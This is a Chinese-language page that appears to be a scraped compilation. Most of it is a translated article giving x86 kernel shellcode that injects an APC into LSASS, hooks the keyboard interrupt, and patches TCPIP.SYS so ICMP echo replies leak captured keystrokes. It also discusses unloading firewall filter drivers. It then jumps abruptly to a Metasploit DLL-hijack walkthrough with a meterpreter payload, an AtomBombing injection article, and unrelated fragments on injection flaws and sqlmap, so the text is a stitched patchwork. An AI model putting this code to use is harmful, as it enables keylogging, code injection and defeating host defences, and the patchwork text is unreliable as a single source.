        可以使用NTOSKRNL中的RtlCreateUserThread和RtlCreateUserProcess函数,这些函数会创建SMSS.EXE(唯一一个没有父进程的进程,由内核直接创建)。然而这里有两个问题:第一,他们不是导出函数;第二,是个更大的问题,他们是在NTOSKRNL的INIT区段中,这意味着在进程执行之前这两个函数就已经执行。因而需要重新映射NTOSKRNL,以及初始化一些全局变量(_MmHighestUserAddress和_NtGlobalFlag), 当然还需要找到该函数的首地址。

    另外一种可行的方法是在用户域进程中创建远程线程,并且直接执行该线程。Firew0rker在他的文章中谈到过这些: http://www.phrack.org/phrack/62/p62-0x06_Kernel_Mode_Backdoors_for_Windows_NT.txt

    不幸的是,这种方法也有缺陷。当执行用户级代码的时候,API函数CreateProcess可能会失败,这是由于必须通知CSRSS子系统。需要重新获取workaround并且在用户级的Shell Code中建立一个新的CONTEXT结构。

    为了保持shell code尽量小,同时也为了可以插入到任意用户域代码而无需改变(译注:可移植性),上述的workaround并不是一个可行的选择。因为这种方法同样利用NTDLL的导出函数,在windows 2000以外的系统中会引发一定的问题。Windows 2000使用Ox2e中断来实现3级到0级的切换,无论在3级或是0级,都可以安全的执行。

    然而,在Windows XP下问题就产生了,Windows XP是利用SYSENTER和SYSEXIT指令对来实现0级与3级之间的切换。如果在内核中直接调用NTDLL的导出函数,意味着蓝屏即将来临。为了解决这个问题,用于在系统服务表中查询NTOSKRNL函数的额外代码是必须的.我决定采用异步过程调用(Asynchronous Procedure Calls)方式来执行用户域Shell Code,这种方法只使用直接由NTOSKRNL导出的函数。

    在一个处于“可报警等待状态(Alertable Wait State)”的用户线程中使用APC,必须立即执行该函数。处于“可报警等待状态”的线程可能是由于调用了 SleepEx, WaitForSingleObjectEx, SignalObjectAndWait和MsgWaitForMultipleObjectsEx等函数把Alertableflag设置为TRUE。这种方法需要的API调用数目是最少的,而且相对而言比较可靠。

    我们将要使用的所有函数都是由NOOSKRNL导出的。第一步要做的就是手动取得NTOSKRNL的基地址,为了完成这一步,我们使用被称为“mid-delta”的技术:先取得一个指向NTOSKRNL地址空间的指针,然后一直递减直到指针指向可执行文件标志“MZ”为止。要想得到一个指向NTOSKRNL地址空间的指针,我们可以先取得中断描述符表(IDT)的第一项入口地址,因为通常情况下这个地址是指向NTOSKRNL地址空间中的某一位置。

    接下来的代码是访问在IDT中取得一个内存指针,然后通过递减该指针来寻找基地址。

    mov esi, dword ptr ds:[0ffdff038h] ; 取得IDT地址

    lodsd

    cdq

    lodsd ; get pointer into NTOSKRNL

    @base_loop:

    dec eax

    cmp dword ptr [eax], 00905a4dh ; 检测“MZ”标志

    jnz @base_loop


        取得IDT基地址的一般方法是使用SIDT指令。由于IDT也是由0xFFDFF038地址的指针所指向的,我可以直接访问IDT地址,这样也可以减少一些字节数。也许你会注意到上面的代码并没有得到正确的IDT入口地址,我们只是取得入口地址的高字部分,这是因为低字部分的区域范围是在0—0xFFFF,忽略后仍旧在NTOSKRNL的内存地址空间里。


    hash_table:

    dw 063dfh; "PsLookupProcessByProcessId" _pslookupprocessbyprocessid  equ [ebx]

    dw 0df10h; "KeDelayExecutionThread"       _kedelayexecutionthread          equ [ebx+4]

    dw 0f807h; "ExAllocatePool"            _exallocatepool                         equ [ebx+8]

    dw 057d2h; "ZwYieldExecution"          _keyieldexecution                          equ [ebx+12]

    dw 07b23h; "KeInitializeApc"           _keinitializeapc                       equ [ebx+16]

    dw 09dd1h; "KeInsertQueueApc"          _keinsertqueueapc                   equ [ebx+20]

    hash_table_end:


     

        接下来我们可以建立一张哈希表,每一个所需要的函数都在其中有一个字长的哈希表项。函数名字符串在Win32 Shell Code中往往会占据大量的空间,所以使用散列机制更加合理。每个函数的指针都存放在一个表项中,而且可以由Shell Code通过EBX寄存器来访问。

        接下来就执行标准的“GetProcAddress”,它会分析NTOSKRNL的导出表并且取得对应函数的入口地址。这里的哈希表有点特别,只是对导出函数名的每一字节进行XOR/ROR运算。我使用字长哈希表而不是双字长哈希表就是为尽量缩减Shell Code的长度。

        一旦取得所有将要使用的函数的入口地址,接下来的的任务就是分配一个新的内存块用于存储shell code。因为代码还驻留在堆栈上,必须把代码拷贝到新的内存块。否则接下来的内核函数会覆盖掉大块区域,尤其是当我们请求降低IRQL (Interrupt Request Level)时。 

        我们把NonPagedPool作为参数传递给ExAllocatePool,然后把shell code拷贝到non-paged区域,再简单的执行一个JMP指令来到这个内存区域。现在所有的代码都可以安全的执行而不会再受到影响。

        当注入驱动程序时,我们必须意识到当前的IRQL。IRQL是一个指定内核程序当前的硬件优先级,很多内核程序为了能成功执行会请求IRQL的PASSIVE (0) 。如果运行在DISPATCH (2)级(用于程序调度和延迟过程调用) ,必须把IRQL下降到PASSIVE. 这只是一件简单的事情,只需要调用HAL的导出函数KeLowerIrql并且把0(PASSIVE)做为参数。

        现在我们需要把用户域代码绑定到进程,就必须先得到EPROCESS结构的指针,每一个进程都有一个对应的EPROCESS结构。关于这篇文章所有结构的更多信息都可以在WinDbg中通过dump结构体取得(例如: dt NT!_EPROCESS)。我们将要使用的函数需要EPROCESS的偏移地址,如果可以得到指向所有EPROCESS结构的指针,那么可以通过遍历所有结构来得到当前的所有活动进程。

        一般情况下,可以通过调用PsGetCurrentProcess来得到第一个EPROCESS结构。不幸的是,当注入一个远程驱动程序的时候,我们可能注入到一个处于“等待”状态的进程中,这个“等待”进程不会返回一个有效进程控制块。我用PsLookupProcessByProcessId来替换,并且把“system”进程的PID作为参数。在Windows XP中这个值为4,而在Windows 2000中这个值为8。


    lea ebp, [edi-4]

    push ebp

    push 04

    call dword ptr _pslookupprocessbyprocessid ;取得系统EPROCESS

    mov eax, [ebp] ; 取得系统EPROCESS结构指针

       

       取得了第一个EPROCESS结构,现在我们就可以访问当前所有活动进程。虽然我选择把代码注入LSASS地址空间,但所有正在运行的系统进程都是合适的目标。为了访问LSASS,采用循环方式枚举EPROCESS+ActiveProcessLinks所指向的每一个入口地址并且与LSASS模块名相比较。

    mov cl, EP_ActiveProcessLinks ; offset to ActiveProcessLinks

    add eax, ecx ; get address of EPROCESS+ActiveProcessLinks

    @eproc_loop:

    mov eax, [eax] ; get next EPROCESS struct

    mov cl, EP_ModuleName

    cmp dword ptr [eax+ecx], "sasl" ; is it LSASS?

    jnz @eproc_loop


       一旦定位LSASS进程,就可以通过减去ActiveProcessLinks偏移值,从而得到LSASS与第一个EPROCESS结构的偏移值。
        下一步就是把shell code拷贝到目标内存空间。起先我打算把代码存放在PEB;以前,PEB总是被映射到0x7ffdf000,但在XP SP2中PEB的映射地址是随机的。虽然可以通过0xFFDFF000->0x18->0x30找到PEB,但我们有更好的选择:把代码存放到内核-用户-共享内存区域,通常被称为SharedUserData。0xFFDF0000处是一个可写的内存区域,在那里可以保存我们的代码。这个内存区域是从用户域被标记为只读的0x7FFE0000处映射而来的,这个映射在所有的平台上都一样,所以这是个不错的选择。 由于在这个区域的内存对所有进程来来说都是可读的,所以必要把地址空间切换到目标进程,可以直接从内核把代码写入到0xFFDF0000+0x800。当排队一个用户模式APC时,把0x7FFE0000+0x800作为参数。

    call @get_eip2

    @get_eip2:

    pop esi

    mov cx, shell code-$+1

    add esi, ecx ; Get shell code address

    mov cx, (shell code_end-shell code) ; Shell code size

    mov dword ptr [edi], SMEM_ADDR ; 0xFFDF0000+0x800

    push edi

    mov edi, [edi] ; Copy shell code to SharedUserData

    rep movsb

    pop edi


        现在需要找到一个可以执行APC函数的线程。APC可以是内核模式APC或者用户模式APC,这里排队一个用户模式的APC。如果我们将要传递的线程没有处于“可报警等待状态”,那么用户模式APC将不会被调用。我前面已经简要的提到,一个线程可以通过调用SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx and WaitForSingleObjectEx把bAlertable设置为TRUE就可以进入该状态。要找一个可用的线程需要访问该进程的ETHREAD指针,并且遍历每个线程直到找到我们所需要的线程为止。

    mov edx, [edi+16] ; Pointer to EPROCESS

    mov ecx, [edx+ET_ThreadListHead] ; Get ETHREAD pointer

    @find_delay:

    mov ecx, [ecx] ; Get next thread

    cmp byte ptr [ecx-ET_ThreadState], 04h ; Thread in DelayExecution?

    jnz @find_delay

     
       上面的代码首先通过EPROCESS结构的ThreadListHead LIST_ENTRY取得LSASS ETHREAD结构的指针,然后检测线程状态标志。一旦找到目标线程,我们设置EBP指向KTREAD结构,接下来我们要初始APC程序。

    xor edx, edx

    push edx

    push 01 ; push processor

    push dword ptr [edi] ; push EIP of shell code (0x7ffe0000+0x800)

    push edx ; push NULL

    push offset KROUTINE ; push KERNEL routine

    push edx ; push NULL

    push ebp ; push KTHREAD

    push esi ; push APC object

    call dword ptr _keinitializeapc ; initialize APC


        我们把用户模式Shell Code(存储在SharedUserData)的EIP作为KeInitializeApc的参数,同时必须传递一个将会被调用的内核程序。我们不需要这个程序做任何事情,只需要把返回指令指向shell code就可以了,该线程的KTHREAD结构对于执行我们的APC程序也必要的,APC对象将以指针变量的形式由ESI寄存器返回。现在可以将我们的APC程序插入到目标线程的APC队列。

    push eax ; push 0

    push dword ptr [edi+4] ; system arg

    push dword ptr [edi+8] ; system arg

    push esi ; APC object

    call dword ptr _keinsertqueueapc


        最后一个函数是KeInsertQueueApc用来发送APC。在上面的代码中,EAX为0,而且两个系统参数也是指向空地址的指针,当然也传递了先前由KeInitializeApc返回的APC对象。
        最后,为了防止我们的刚初始化的负载线程返回并出现蓝屏,把0X80000000:00000000传递给KeDelayExecutionThread,让线程睡眠。

    push offset LARGE_INT

    push FALSE

    push KernelMode

    call dword ptr _kedelayexecutionthread

        如果在偶然的情况下,我们进入了“Idle”地址空间,那么这个调用就会失败。解决这个问题的方法是放弃执行该线城,然后继续循环.代码片段如下:

    @yield_loop:

    call dword ptr _keyieldexecution

    jmp @yield_loop

     
        万幸,用户模式线程应该还在你所选择的SYSTEM进程中安全的执行。如果完成APC函数后调用ExitThread来退出用户代码,那么系统很可能还是稳定的。

     
    The ICMP Patching Interrupt Hooking Key-Logger

        当我和来自eEye的Derek Soeder闲聊的时候,我们讨论了哪些是完全由内核级内代码组成的有用的shell code。其中的一个想法是内核级key-logger,它可以返回键盘缓冲区到远程线程。显然,这是一个shell code,创建一个完整的键盘过滤器和通信管道可能会大大超出可以接受的代码长度范围,所以采取捷径是必须的。

        我们采用源于DOS时代的技术,把键盘中断处理程序入口替换为自己的代码入口来捕获扫描码,而不是绑定键盘过滤器来捕获键盘消息。我决定修改TCPIP.SYS驱动程序的ICMP处理体,而不是通过自己创建管道返回键盘消息到远程用户。补丁程序修改了ICMP ECHO处理体,用我们自己的键盘缓冲区来替换原来的缓冲区。发送一个ICMP ECHO请求到远程系统将会返回所捕获的按键情况。

        第一步,把键盘处理体的IDT入口替换为我们自己中断处理体的入口。现在,Windows XP 和 2000 SP4有存储在HAL内存区域的IRQ中断向量表。我们可以很方便的搜索临近的标志字节,并且查询对应于IRQ1(键盘IRQ)的中断向量。在早期的服务包中,例如Window 2000 SP0,这个表是不存在的,然而中断向量表是静止的,RQ1 = Vector 0x31, IRQ2 = Vector 0x32等等。下面的代码首先尝试定位向量表,如果定位失败的话就会直接使用中断向量0X31。 


    mov esi, dword ptr ds:[0ffdff038h] ; 取得IDT基地址

    lodsd

    cdq

    lodsd                          ; 取得NTOSKRNL地址空间的指针

    @base_loop:

    dec eax

    cmp dword ptr [eax], 00905a4dh    ; 检测 MZ 标志

    jnz @base_loop

    jecxz @hal_base                   ; 把 NTOSKRNL 基地址保存到EAX

    xchg edx, eax

    mov eax, [edx+590h]               ; 取得一个 HAL 函数的指针

    xor ecx, ecx

    jmp @base_loop                 ; 寻找HAL的基地址

    @hal_base:

    mov edi, eax                      ; 把 HAL 的基地址保存到 EDI

    mov ebp, edx                      ; 把 NTOSKRNL 基地址保存到 EBP

    cld

    mov eax, 41413d00h             ; 标志字节"=AA/0"

    xor ecx, ecx

    dec cx

    shr ecx, 4

    repnz scasd                    ; 取得在IDT表中的偏移值

    or ecx, ecx

    jz @no_table

    lea edi, [edi+01ch]               ; 取得相量表的指针

    push edi

    inc eax                        ;IRQ 1

    repnz scasb

    pop esi

    sub edi, esi

    dec edi                        ; 取得键盘中断

    jmp @table_ok

    @no_table:

    mov edi, 031h                     ; 如果相量表不存在,使用静态值

    @table_ok:

    push edx

    sidt [esp-2] ;Get IDT

    pop edx

    lea esi, [edx+edi*8+4]            ; IDT 中键盘处理体入口

    std

    lodsd

    lodsw                          ; EAX 中为键盘处理体入口地址

    mov dword ptr [handler_old], eax ; 保存

     

       首先定位NOSOKRNL和HAL.DLL的基地址,然后在HAL地址空间中搜索“=AA/0”标志,这个双字标志标识着与中断向量表相临的TRQL-TPR转换表的开始。如果找到该标识,我们直接把中断向量设置为0X31;如果没有找到IRQ表,那么所需要的偏移值在IRQ表的0XC1H处。接着我们定位对应于键盘IRQ1的向量,然后用SIDT指令得到IDT的基地址。得到中断向量IDT入口的公式如下:

    IDT_BASE+INT_Vector*8

     

        从IDT中取得原始中断处理体的地址,保存在我们处理程序的起始位置,因而当我们的处理程序完成特定功能后可以返回到原始处理程序。下面的代码在IDT中用我们自定义的中断处理体入口替换原始处理程序入口:

     

    cld

    mov eax, @handler_new

    cli                         ; 当改写入口地址的时候屏蔽中断

    mov [esi+2], ax                ; 改写用新的入口地址改写IDT入口

    shr eax, 16

    mov [esi+8], ax

    sti                         ; 恢复允许中断信号

     

       接下来就调用ExAllocatePool,分配一个缓冲区用于存储已捕获的键盘输入;我们还需要通过分析NTOSKRNL的PsLoadedModuleList来定位TCPIP.SYS的基地址,不幸的是PsLoadedModuleList不是公共的导出函数,因而我们需要手动定位。

     

        NTOSKRNL导出的MmGetSystemRoutineAddress函数就使用了这个链表。



       为了取得所需要的指针,我们把MmGetSystemRoutineAddress的地址作为参数并且通过递增该地址来手动定位PsLoadedModuleList。

    mov edi, _mmgetsystemroutineaddress

    @mmgsra_scan:

    inc edi

    mov eax, [edi]

    sub eax, ebp

    test eax, 0FFE00003h

    jnz @mmgsra_scan

    mov ebx, [edi]

    cmp ebx, [edi+5]                  ; 检测 PsLoadedModuleList 的指针

    je @pslml_loop

    cmp ebx, [edi+6]

    jne @mmgsra_scan

    @pslml_loop:                      ; 找到 _PsLoadedModuleList

    mov ebx, [ebx]

    mov esi, [ebx+30h]

    mov edx, 50435449h             ; "ITCP", 判断是否TCPIP.SYS 模块?

    push 4

    pop ecx

    @pslml_name_loop:

    lodsw

    ror edx, 8

    sub al, dl

    je @pslml_name_loop_cont

    cmp al, 20h

    @pslml_name_loop_cont:

    loopz @pslml_name_loop

    @pslml_loop_cont:

    jnz @pslml_loop

    mov edi, [ebx+18h]                   ;TCPIP.SYS 模块基地址

     


        上面的代码首先遍历MmGetSystemRoutineAddress程序来搜索该链表的指针。系统模块链表结构如下:


    +00h LIST_ENTRY

    +08h ???

    +18h LPVOID module base address

    +1Ch LPVOID ptr to entry point function

    +20h DWORD size of image in bytes

    +24h UNICODE_STRING full path and file name of module

    +2Ch UNICODE_STRING module file name only

    ...


       接下来就是分析该链表来取得TCPIP.SYS模块的基地址。

       这些代码比起网络Shell Code更类似于软件crack,原因就在于:我们将要修改TCPIP驱动程序,这就意味着我们可以接受来自远程系统所捕获的键盘输入。有很多种方法,这里通过修改ICMP ECHO处理程序使之作为通信通道。

        在TCPIP.SYS的SendEcho中我们将会使用shell code。由于完整的反汇编代码太长,下面是相关部分的代码片段: 
     


        从上面的反汇编代码来看,[edx+8]是指向ICMP ECHO缓冲区的指针,那么通过修改上面的代码把[edx+8]的指针改为指向我们的键盘缓冲区,这只是一件很容易的事。

    mov eax, 428be85dh       ; TCPIP.SYS 地址空间中的字节序列

    @find_patch:

    inc edi

    cmp dword ptr [edi], eax

    jnz @find_patch

    add edi, 5

    mov al, 68h

    stosb                 ; Store "push"

    mov eax, edx             ; EDX 指向键盘缓冲区

    stosd                 ; 保存键盘缓冲区指针

    mov eax, 08428f90h    ; "pop [edx+08h] / nop"

    stosd                 

    用下面的代码可以修改:

    push keybuffer_offset

    pop [edx+8]

    nop

     
       当ICMP ECHO请求被发送到远程系统时,反馈的数据包会包括已捕获的键盘输入,替换中断处理体是很容易的事--当有按键事件时我们的程序就会被调用,然后从键盘断口读取键盘扫描码并保存到按键缓冲区。

    @handler_new:

    push 0deadbeefh                   ; 保存当前处理程序指针

    handler_old equ $-4

    pushfd

    pushad

    xor eax, eax

    lea edi, keybuf                   ; 用所分配的缓冲区地址改写

    KB_PATCH equ $-4

    in al, 60h                     ; 取得键盘扫描码

    test al, al                    ; 没有扫描码?

    jz @done

    push edi

    mov ecx, [edi]

    lea edi, [edi+ecx+4]

    stosb ; Store code in buffer

    inc ecx

    pop edi

    cmp cx, 1023

    jnz @done

    xor ecx, ecx

    @done:

    mov [edi], ecx

    popad

    popfd

    db 0c3h                     ; 返回到原来的处理程序

     

        一旦有按键消息产生,上面的代码就会被调用,而初始的中断处理程序句柄(已经被改写)被压入堆栈。从0x60断口读取当前的扫描码并保存到所分配的缓冲区中。这个缓冲区可以保存0X3FF个键盘输入,如果之后再有扫描码就会覆盖前面部分。



    对注入放火墙驱动程序的思考

       当在防火墙驱动程序中注入一个内核级漏洞时,将需要考虑很多问题。我们将要示范的漏洞是由处理DNS反馈信息过程引起的,DNS反馈信息是由SYMDNS.SYS处理的。如果DNS处理过程不能成功返回,那么就不能用socket来通信。在研究这个问题之前,首先必须理解多种协议层的通信机制。

    下面是网络层的概要:

    1).网络驱动程序接口规范(Network Driver Interface Specification Layer) 

    NDIS 为从物理设备到网络传输提供一个通路

    NDIS驱动程序直接与网络适配器打交道。 

    2).网络协议层(Network Protocol Layer)

    此处为 TCP/IP. (TCPIP.SYS)

    3).传输层驱动接口(Transport Driver Interface Layer)

    TDI为网络协议、客户端协议、以及网络API例如Winsock提供接口。

    4).网络应用程序接口(Network API Layer) 

    网络应用程序接口例如Winsock,为网络应用程序提供编程接口。

     

        所有基于主机的放火墙的限制策略都工作在内核模式,通常可以通过TDI过滤驱动程序或者 NDIS 挂钩过滤驱动程序。虽然我没有见过这一类的放火墙产品,但是挂钩AFD接口也是可能的。
        我们所面对的问题:SYMDNS.SYS必须返回到TDI过滤驱动程序SYMTDI.SYS,不幸的是一旦执行我们的shell code,通信就不会结束。这里有一些的解决方案:


    (a) “clean” 返回

       Clean返回包括在没有出现BSOD的情况下从shell code返回,有包括能继续正常的通信,这个是很难实现的。经过攻击后的堆栈不是处于最佳状态,所以必须返回到原来堆栈桢的状态

     (b) 卸载 TDI 或者 NDIS 的过滤驱动

       卸载过滤驱动是另外一个可行的方法。我们可以很方便的调用驱动程序的卸载程序,这就相当于从DriverEntry程序调用DriverObject->DriverUnload。这个驱动程序的偏移地址可以通过目标驱动程序的DRIVER_OBJECT获得。

        如果DriverUnload的成员DRIVER_OBJECT为空,意味目标驱动程序的卸载程序不存在。DRIVER_OBJECT可以被DEVICE_OBJECT的成员所引用,可以通过把驱动程序名作为参数传递给IoGetDeviceObjectPointer,取得指向DEVICE_OBJECT的指针。


    (c) 分离或删除驱动程序(Detach/delete the devices)

        驱动可以通过调用 IoAttachDevice 或 IoAttachDeviceToDeviceStack 把自身的设备对象附加到其它设备,因而对原始设备的请求首先被传递到立即设备。我们可把DEVICE_OBJECT作为参数传递给IoDetachDevice来分离驱动程序,有可以把DEVICE_OBJECT作为参数传递给IoDeleteDevice来移除设备。

    展开全文
  • 本节书摘来自异步社区《Metasploit渗透测试手册》一书中的第3章3.8节 理解Windows DLL注入漏洞,作者【印度】Abhinav Singh,更多章节内容可以访问云栖社区“异步社区”公众号查看。 3.8 理解Windows DLL注入漏洞...

    本节书摘来自异步社区《Metasploit渗透测试手册》一书中的第3章3.8节 理解Windows DLL注入漏洞,作者【印度】Abhinav Singh,更多章节内容可以访问云栖社区“异步社区”公众号查看。

    3.8 理解Windows DLL注入漏洞
    Metasploit渗透测试手册
    本节将介绍一种特殊类型的漏洞,这种漏洞不直接存在于Windows操作系统中,而是存在于Windows上运行的各种应用程序软件之中。这种远程攻击方法针对的是应用程序加载外部库时存在的漏洞,下面介绍这类漏洞,以便对其进行深入分析。

    准备
    这种攻击方法需要创建包含漏洞的目录路径,目标机器需要执行该路径以便激活该漏洞。这个目录可以是文件、提取的文件夹、USB驱动器或网络共享等。创建的文件本身是完全无害的,但会执行DLL注入漏洞来攻击目标系统。

    怎样实现
    下面介绍DLL注入漏洞的实现过程。本示例中,目标机器是一个未打补丁的Windows 7 Ultimate机器。工作过程是创建一个链接共享该机器必须访问和执行的文件。随着讲解的深入,读者会对这一过程有更好的理解。

    (1)使用exploit/windows/browser/webdav_dll_hijacker模块作为漏洞利用代码,windows/ meterpreter/bind_tcp作为攻击载荷,下面对漏洞利用代码和攻击载荷必需的参数进行快速设置。

    msf > use exploit/windows/browser/webdav_dll_hijacker
    msf  exploit(webdav_dll_hijacker) > set payload windows/
    meterpreter/bind_tcp
    payload => windows/meterpreter/bind_tcp
    msf  exploit(webdav_dll_hijacker) > show options
    Module options (exploit/windows/browser/webdav_dll_hijacker):
    Name         Current Setting  Required  Description
    ----         ---------------  --------  -----------
    BASENAME   policy              yes     The base name for the listed 
    EXTENSIONS txt                 yes      The list of extensions
    SHARENAME  documents          yes        The name of the top-level 
    SRVHOST    0.0.0.0             yes        The local host... 
    SRVPORT    80                 yes      The daemon port to listen 
    SSLCert                        no       Path to a custom SSL..
    URIPATH    /                  yes      The URI to use
    Payload options (windows/meterpreter/bind_tcp):
       Name      Current Setting   Required Description
       ----       ---------------   -------- -----------
       EXITFUNC process             yes       Exit technique: seh..
       LPORT     4444                yes        The listen port
       RHOST     192.168.56.102    no         The target address
    Exploit target:
       Id  Name
       --  ----
       0   Automatic
    

    使用漏洞利用代码的各种参数有助于创建特定文件和顶层共享。其中,参数BASENAME包含了要创建的文件名,EXTENSIONS是待创建文件的类型扩展名,SHARENAME是待创建用于访问的顶级共享目录,SRVHOST是本地监听主机,SRVPORT是用于对连接进行监听的端口号。

    (2)漏洞利用代码和攻击载荷的相应参数设置完成后,执行漏洞利用代码。执行后的情况如下。

    msf  exploit(webdav_dll_hijacker) > exploit
    [*] Exploit running as background job.
    [*] Started bind handler
    [*] 
    [*] Exploit links are now available at \\192.168.56.101\documents\
    

    (3)漏洞利用代码成功执行后,开始对产生的连接进行监听,并提供共享链接。目标打开该链接后将触发漏洞并执行漏洞利用代码,下面切换到目标机器屏幕看会发生哪些情况。


    de7e718bba8f6c05425065df7ba50978de130c6a

    目标机器中包含policy.txt文件,该文件已被攻击者共享,该文件是完全无害的,然而一旦目标用户执行该文件后,就会与攻击方机器建立shell连接,而实际上在目标机器上执行的是DLL文件,此时在msfconsole屏幕上会看到大量活动。DLL成功注入后,将产生一个shell连接(见下图)。

    7330b0cafcf908c4d6ef006bd9447838531cdf40

    怎样工作
    下面分析导致该漏洞的原因。动态链接库(DLL)是微软Windows操作系统中共享库的一种实现。DLL实际上是与某个特定程序相关的可执行程序,该程序运行时会加载与其相关的DLL共享库。应用程序运行时,loadlibrary()函数将加载运行时必需的DLL,如果待加载DLL的位置没有指定,或者应用程序提供的是非全限定的库路径,Windows就会使用自定义的搜索顺序进行DLL搜索,其中默认搜索位置就是程序的当前工作目录。

    目标用户访问共享位置后,就会进入到攻击者控制的区域,这是为什么呢?因为共享文件policy.txt包含非完全限定的DLL路径,目标用户执行该文件时,Windows会按照缺省搜索顺序搜索该DLL文件,而由于当前工作目录(/documents)是由攻击者控制的,攻击者就可以在其中添加恶意的DLL代码,并由Windows操作系统执行(当前工作目录是Windows搜索链接库的缺省位置之一),从而使得攻击者可以执行外部脚本,攻击载荷成功执行后,会在攻击方机器和目标机器之间建立shell连接,攻击者由此获取对目标系统的完全访问权限。以上为该攻击方法的整个过程。

    更多
    可以使用H. D. Moore开发的一个简单工具来探测DLL注入漏洞。

    H. D. Moore的DllHijackAudit工具
    Metasploit的创建者H. D. Moore创建了一种安全审计工具,可测试系统环境中是否存在DLL注入漏洞,这是使用Ruby解释器运行的进程监控工具,其工作机理是监控某个DLL文件是否在关联文件的工作目录内被访问。该工具还可以生成测试报告。工具及详细的文档信息可以参见http://blog.metasploit.com/2010/08/better-faster-stronger.html

    本文仅用于学习和交流目的,不代表异步社区观点。非商业转载请注明作译者、出处,并保留本文的原始链接。

    展开全文
  • EnSilo网络安全公司的研究团队发现了称为AtomBombing内存注入的技术,可以绕过所有Windows系统的查杀机制,目前所有的Windows杀毒软件也无效。 AtomBombing内存注入技术的危害 首先第一个危害就是绕过windows全部的...

    EnSilo网络安全公司的研究团队发现了称为AtomBombing内存注入的技术,可以绕过所有Windows系统的查杀机制,目前所有的Windows杀毒软件也无效。

    AtomBombing内存注入技术的危害

    首先第一个危害就是绕过windows全部的查杀机制了,就如我之前所述,这个东西属于windows底层的一个功能,现有杀毒软件无法对其进行防护。一旦恶意代码注入到白名单进程中,任何的查杀机制都无法自动进行防御。

    因为它可以随意注入到任意进程,也就是说它可以注入到浏览器进程中,任意修改网页数据,达到一个中间人攻击的效果。与此同时,这个注入技术还可以获得未进行HTTPS加密的元数据。恶意代码可以注入到浏览器内存中,在数据传输到传输层之前将其进行截获,从而获得一份原始的未加密数据。

    Figure-8-MSPaint.png

    EnSilo是做什么的

    enSilo 是提供实时数据保护平台先进攻击的网络安全公司。本公司成立上认识到外部威胁演员不能防止渗透网络和相反侧重防止盗窃和篡改的关键数据的网络攻击事件。enSilo 使组织能够继续运行其业务运营安全和不受干扰,通过阻断实时在调查和补救的攻击,甚至任何与数据相关的恶意活动。enSilo 的平台不需要先验知识或用户或数据的配置。

    公司的领导安全二战老兵从领先的私营和公共部门公司,包括 Imperva、 Akamai、 RSA 和拉斐尔。enSilo 是由光速创投、 伦勃朗创投和卡梅尔合资企业在财政上支持。

    ensilo.png

    Atom Tables是什么

    在Windows有一个功能叫做Atom Tables,而这个功能主要可以用于进程和进程之间的通信,线程和线程之间的通信。而enSilo网络安全公司的研究团队利用这个功能的设计缺陷,成功的将一个恶意代码注入到一个合法的进程当中,并且不会被杀毒软件查杀。这个缺陷影响了所有的Windows系统。

    非常不幸的是,这个缺陷没办法修复,因为它不属于某个代码的漏洞,而是Atom Tables在设计之初就存在这个功能了,它属于Windows底层系统的一个机制。如果要修复这个缺陷,只能重新开发一个Atom Tables的替代品,或者重新编写Atom Tables的运行机制,而这样将会对Windows系统的内核进行大规模的调整。

    AtomBombing技术

    实际上,这个技术的原理并没有多复杂,但是影响却非常的显著。比如我要运行一个shellcode.exe,而这个可执行程序中内置的恶意代码。Windows杀毒的查杀机制会检查这个软件的签名证书,运行行为等等,从而达到一个查杀的效果。但是,如果我们能够说服用户双击这个shellcode.exe,在利用AtomBombing技术后,它可以和其它的合法进程建立一个不会被查杀的通讯。比如我们可以让Chrome.exe和shellcode.exe进行通信,而windows的进程列表里面只会出现Chrome.exe的进程,同时杀毒软件会认为chrome是一个合法程序,不会对其进行查杀。

    实际上,针对Windows内存注入的方式大概也就那么几个,分别为使用函数QueueUserAPC DLL注入,调用SetWindowsHookEx注入,code cave注入和前不久的PowerLoaderEx内存注入。然而AtomBombing注入和其他的注入有很多不同,它是利用系统底层的缺陷进行注入,绕开了全部的杀毒软件,可以影响到全部的Windows系统,本质上来说并没有什么补丁可以针对这个缺陷。

    详细技术分析看这里:

    http://www.securitynewspaper.com/2016/10/27/atombombing-brand-new-code-injection-windows/

    本文由:freebuf 发布,版权归属于原作者。 


    原文发布时间:2017年3月24日
    本文由:freebuf  发布,版权归属于原作者
    原文链接:http://toutiao.secjia.com/windows-bypass-vulnerability-atombombing
    本文来自云栖社区合作伙伴安全加,了解相关信息可以关注安全加网站
    展开全文
  • 命令注入漏洞

    万次阅读 2018-07-30 21:16:46
    3、windows下链接命令的符号:&&、&、|、||命令拼接符号的区别 4、命令注入的攻击过程 5、渗透技巧: (1)不推荐黑名单解决漏洞;如果使用黑名单过滤了敏感命令怎么办? 命令中可以...
  • PHPYun XML 注入漏洞

    千次阅读 2018-12-06 17:48:36
    学会如何修复Sql注入漏洞 实验工具 Hack Bar :它是火狐浏览器的一款插件,包含一些常用的工具。(SQL injection,XSS,加密等),web开发人员可以利用它,快速构建一个http请求,或者用它快速实现某种算法等,本次实验...
  • xdcms SQL注入漏洞

    2020-11-16 15:45:15
    xdcms SQL注入漏洞 实验目的:获取目标网站目录信息 实验工具BURP SQLMap 中国菜刀 操作机windows XP 目标网站www.test.ichunqiu 第一步获取网站管理员账号密码。 打开浏览器输入网址www.test.ichunqiu 进入注册页面...
  • CRLF注入漏洞学习记录

    2021-05-01 21:46:52
    之前居然没听过CRLF注入漏洞,半夜看群友水群,学习了一波。 0x00 CRLF注入漏洞 从owasp.org上找到对应的解释,CRLF即为CR(\r)回车和LF(\n)换行,在不同的操作系统上有不同的作用,比如windows中\r\n才代表换行,...
  • PHPCMS2008 SQL注入漏洞

    千次阅读 2018-11-30 18:37:54
    学会如何修复Sql注入漏洞 实验工具 Tamper Data:它是火狐浏览器的一款插件,主要功能如下: 可以用来查看和修改 HTTP/HTTPS 的头部和 POST 参数; 可以用来跟踪 HTTP 请求和响应 可以对 WEB 站点进行某些安全...
  • DVWA之命令注入漏洞

    2020-04-11 11:48:00
    命令注入 1.Windows:(WinServer2003–192.168.31.2的dvwa: A;B 先A后B A&B AB无制约关系 A|B 显示B的执行结果 A&&B A成功执行B A||B A失败执行B 低安全级别: 看源码(windows系统默认发四个包,...
  • sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞。注意:sqlmap只是用来检测和利用sql注入点的,使用前请先使用扫描工具扫出sql注入点。 它由python语言开发而成,因此运行需要安装...
  • Windows Phone 7手机开发、.Net培训、期待与您交流! ----------------------     在C#里面取出来的数据库的值都是Object类型数据。。 excuetnonquery是执行增删改的操作 可返回一个int类型数据 excuetsclar...
